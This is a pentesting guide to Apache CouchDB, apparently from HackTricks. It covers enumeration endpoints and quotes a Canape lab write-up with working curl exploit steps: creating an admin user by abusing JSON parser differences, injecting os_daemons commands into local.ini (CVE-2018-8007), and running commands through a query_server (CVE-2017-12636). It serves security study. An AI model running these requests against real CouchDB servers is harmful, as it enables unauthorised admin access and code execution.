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5984,6984 - Pentesting CouchDB
CouchDB is a document-oriented database and within each document fields are stored as key-value maps. Fields can be either a simple key/value pair, list, or map.
Each document that is stored in the database is given a document-level unique identifier (
_id) as well as a revision (_rev) number for each change that is made and saved to the database.Default port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
curl http://IP:5984/
This issues a GET request to installed CouchDB instance. The reply should look something like on of the following:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
Note that if accessing the root of couchdb you receive a
401 Unauthorized with something like this: {"error":"unauthorized","reason":"Authentication required."} you won't be able to access the banner or any other endpoint.These are the endpoints where you can access with a GET request and extract some interesting info. You can find more endpoints and more detailed descriptions in the couchdb documentation.
/_active_tasksList of running tasks, including the task type, name, status and process ID./_all_dbsReturns a list of all the databases in the CouchDB instance./_cluster_setupReturns the status of the node or cluster, per the cluster setup wizard./_db_updatesReturns a list of all database events in the CouchDB instance. The existence of the_global_changesdatabase is required to use this endpoint./_membershipDisplays the nodes that are part of the cluster ascluster_nodes. The fieldall_nodesdisplays all nodes this node knows about, including the ones that are part of the cluster./_scheduler/jobsList of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things./_scheduler/docsList of replication document states. Includes information about all the documents, even incompletedandfailedstates. For each document it returns the document ID, the database, the replication ID, source and target, and other information./_scheduler/docs/{replicator_db}/_scheduler/docs/{replicator_db}/{docid}/_node/{node-name}The/_node/{node-name}endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing/_node/_localto retrieve this information./_node/{node-name}/_statsThe_statsresource returns a JSON object containing the statistics for the running server. The literal string_localserves as an alias for the local node name, so for all stats URLs,{node-name}may be replaced with_local, to interact with the local node’s statistics./_node/{node-name}/_systemThe _systemresource returns a JSON object containing various system-level statistics for the running server. You can use ___localas {node-name} to get current node info./_node/{node-name}/_restart/_upConfirms that the server is up, running, and ready to respond to requests. Ifmaintenance_modeistrueornolb, the endpoint will return a 404 response./_uuidsRequests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance./_reshardReturns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster.
More interesting information can be extracted as explained here: https://lzone.de/cheat-sheet/CouchDB
curl -X GET http://IP:5984/_all_dbs
If that request responds with a 401 unauthorised, then you need some valid credentials to access the database:
curl -X GET http://user:password@IP:5984/_all_dbs
This is an example of a couchdb response when you have enough privileges to list databases (It's just a list of dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
You can obtain some database info (like number of files and sizes) accessing the database name:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
List each entry inside a database
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Read the content of a document inside a database:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Thanks to the differences between Erlang and JavaScript JSON parsers you could create an admin user with credentials
hacktricks:hacktricks with the following request:curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
In the CouchDB docs, in the cluster set-up section, it talks about the different ports used by CouchDB:
CouchDB in cluster mode uses the port5984just as standalone, but it also uses5986for node-local APIs.Erlang uses TCP port4369(EPMD) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh.
And then there’s an interesting warning:
1536931232858
If we look in the process list, we can see that cookie, “monster”:
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
You can read this section to learn how to abuse Erlangs cookies to obtain RCE.
Also, you can read some Canape HTB machine writeup like this one to see and practice how to exploit this vuln.
In writing this post, I found a new CVE had been released for CouchDB from mdsec, CVE-2018-8007. It also requires writes to the
local.ini file, so it isn’t a useful option for Canape. But since I’ve already made it writable as root, let’s see if we can get it to work.Start with a clean and now writable
local.ini (and a backup):root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
We can use curl to modify the origins in the
local.ini file. The vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. So we’ll take advantage of the [os_daemons] field, and add a process for CouchDB to try to keep running:www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
In the root shell, we can see what changes:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
And yet, the file isn’t there:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also
runsrv couchdb:root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
If we kill that process, it comes right back (notice the new pid):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
And, on restart, runs the OS_Daemons:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
CVE-2017-12636 allows for code execution through the couchdb process. However, it won’t work in this configuration.
There are a few POCs out there as reference:
We’d need to write a new query_server, and then invoke that. When Canape was released, most of the POCs were for couchdb 1.x, but this box is running 2, so the query_servers path from most of the POCs doesn’t exist. That’s changed now, but we’ll walk the same steps. First, get the version, and show that the 1.X path doesn’t exist:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
Update with the new path for 2.0:
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
From there, we should add a query_server and then invoke it, but we aren’t able to.
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the
local.ini file is not writable by anyone, let alone www-data:root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
So that’s a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. We’ll make a backup of the original so we can see what changes:
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
Now, back to our www-data shell:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
We get back the previous value for the cmd query server, which means success. And in the root shell, we can see it worked:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
Now, we should be able to create a db, and then a document in that db, and the request it with a view that maps our query_server to get execution.
Create db and document:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
Request it in a view:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
port:5984 couchdb